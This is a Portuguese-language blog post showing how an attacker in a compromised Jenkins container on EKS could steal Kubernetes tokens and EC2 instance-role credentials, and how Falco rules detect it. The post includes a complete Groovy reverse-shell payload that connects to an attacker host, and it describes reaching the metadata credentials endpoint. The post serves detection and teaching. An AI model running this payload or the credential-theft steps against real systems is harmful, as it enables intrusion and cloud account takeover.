Detectando roubo de informações sensíveis através das instâncias EC2 com Falco
O serviço de EC2 (Elastic Compute Cloud) da AWS provê um escalável poder de computação para os mais diversos cenários e cargas de trabalho.
Esse serviço atualmente já é amplamente difundido e a ideia deste post não é falar sobre o serviço de computação em núvem da AWS, mas sim de um recurso que, em geral, é utilizado para otimizar diversos processos mas oferece um risco à infraestrutura se não for monitrado de perto. Estamos falando dos metadados das instâncias EC2.
Os metadados da instância são informações que podemos utilizar para configurar e/ou gerenciar uma instância em execução.
Por default (v1) a instância EC2 disponibiliza esses metadados através do endpoint http://169.254.169.254/latest/meta-data. Essas informações são divididas em sessões, por exemplo: hostname, eventos, public_keys, security, dentre outros.
Embora só seja possível acessar os metadados da instância de dentro da instância em si, os dados não são protegidos por métodos de autenticação ou criptografia, ou seja, qualquer um que tenha acesso direto à instância, pode visualizar seus metadados. Portanto, você não deve armazenar dados como senhas ou chaves criptográficas e outras informações sensíveis nesse local.
Explorando os metadados da Instância EC2
Imagine que um atacante externo conseguiu acesso à sua infraestrutura por meio de container comprometido e começou a interagir com endpoint que disponibiliza os metadados da instância. Dependendo da maneira que isso está configurado o atacante pode levantar informações da infraestrutura e até capturar credenciais de acesso.
Vamos dar uma olhada a seguir como se daria uma possível exploração nesse cenário
Reverse Shell
A grosso modo, Shell Reverso é uma técnica onde um atacante expõe uma porta de serviço aleatória e carrega um payload numa máquina alvo de maneira que essa máquina se conecte através de socket de rede nessa porta que o atacante abriu. Um dos principais utilitários usados nesse tipo de ataque é o netcat.
Para iniciar o processo de shell reverso o atacante precisa abrir uma conexão de rede numa porta aleatória:
Neste cenário, estamos considerando uma aplicação de infraestrutura bem conhecida como o Jenkins rodando como container num cluster EKS.
Imagine que por algum razão os dados de acesso ao Jenkins foram comprometidos e o atacante possui os privilégios necessários para executar um payload em groovy (uma das linguagens para configuração de scripts no Jenkins) e iniciar um shell reverso.
String host="10.0.1.249";
int port=4242;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Uma vez que o payload for carregado o atacante está pronto para começar a exploração.
Um dos comandos que o atacante pode utilizar para se localizar no ambiente após conseguir um shell reverso bem sucedido é o comando “env”. Esse comando irá retornar as variáveis de ambiente carregadas em execução.
Através dessa saída algumas informações valem a pena serem destacadas:
- KUBERNETES_SERVICE_PORT_HTTPS=443
- HOSTNAME=jenkins-6bfdc76f54-knwpc
- PWD=/var/run
As variáveis de ambiente KUBERNETES_SERVICE_PORT_HTTPS e HOSTNAME são um forte indicativo de que o Jenkins está rodando num ambiente kubernetes e a variável de ambiente PWD pode estar revelando o caminho para alguma informação sensível dentro deste container.
Ao explorar o diretório /var/run, o atacante agora tem certeza que está em um ambiente kubernetes. Além disso, conseguiu acesso ao certificado e token de autentiacção da API do kubernetes.
Com algum conhecimento básico de Kubernetes o atacante pode enviar uma requisição para API do kubernetes afim de leavantar mais informações:
Agora além de ter certeza que está em um ambiente Kubernetes, o atacante sabe que está em um ambiente Kubernetes em Cloud.
Ainda não é possível determinar se é um ambiente gerenciado, mas com certeza trata-se do serviço de computing da AWS, o EC2.
Finalmente, explorando os metada-dados da instância EC2
Tendo em mente que a aplicação está executando em uma instância EC2 o atacante pode explorar os metadados da seguinte forma:
Como comentado no início do post, os metadados encontram-se no endpoint http://169.254.169.254/latest/meta-data e se dividem em várias categorias.
A partir desse ponto o atacante tem todas as condições necessárias para fazer um belo mapeamento do ambiente e seguir no processo de exploração.
Uma das informações que os metadadados da instância expõem, são as security-credentials.
A instância EC2 normalmente não se autentica através de access_key_id e secret_key_id mas sim através do processo de assume role.
Vale destacar que os metadados do caminho security-credentials só revelerão credenciais de acesso se a EC2 em questão possuir uma role anexada. No deploy de um cluster EKS, na maioria dos casos uma role é anexada. Fique atento nas permissões que essa role possui, pois é através dela que o atacante irá se autenticar.
Explorando o endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/ o atacante consegue recuperar o nome da role usada pela instância EC2 e por fim pode usar isso para recuperar as credenciais de acesso que essa instância utiliza para se autenticar na AWS:
Agora o atacante precisa somente criar um profile de autenticação no arquvio .aws/credentials e se autenticar com as credenciais extraídas por meio do binário AWS CLI:
E é isso! O atacante está interagindo com a API da AWS via AWS CLI com as credenciais extraídas dos metadados da instância EC2:
Detectando requisições aos metadados da Instância com o Falco
Nesse post eu detalho o processo de deploy e configuração do Falco num ambiente kubernetes. Recomendo a leitura para um melhor entendimento do que virá a seguir.
O Falco tem a capcidade de interceptar e detectar syscalls suspeitas no ambiente e apresentar isso em forma de alerta. Ele faz isso através de regras de detecção.
Para detectar o cenário de ataque que vimos ao longo do post, precisamos basicamente de duas regras:
- Uma regra para detectar eventos envolvendo o diretório /var/run/secrets/
- Uma regra para detectar requisições no endpoint dos metadados da instancia EC2.
Eventos no diretório /var/run/secrets/:
- rule: Events detected in /var/run/secrets dir desc: Detected events in sensitive directory /var/run/secrets condition: spawned_process and container.id != host and proc.cmdline contains /var/run/secrets/
output: Possible extrafiltration ran inside a container (user=%user.name command=%proc.cmdline image=%container.image.repository) priority: WARNING
tags: [k8s]
Requisições no endpoint dos metadados da instância EC2:
- rule: Suspicious Attempts to connect EC2 endpoint meta-data
desc: Detect connections to/from a EC2 enndpoint meta-data with curl command. This indicates a possibility of sensitive data extrafiltration
condition: (inbound_outbound) and proc.name=curl and proc.cmdline contains " http://169.254.169.254/latest/ "
output: >
Possibility of sensitive data extrafiltration. Detect connections to/from a EC2 enndpoint meta-data with curl command from container (command=%proc.cmdline connection=%fd.name user=%user.name container_id=%container.id %container.info image=%container.image.repository:%container.image.tag)
priority: CRITICAL
tags: [network]
Visualizando os alertas
Através do dashboard do Falcosidekick é possível visualizar todos os detalhes envolvendo a exploração tanto das credenciais de acesso do Kubernetes, quanto das credenciais de acesso da AWS.
Bem, por esse post é isso. Deixei nas referências mais detalhes sobre configuração e proteção dos metadados das instâncias EC2 e também da configuração do Falco no ambiente.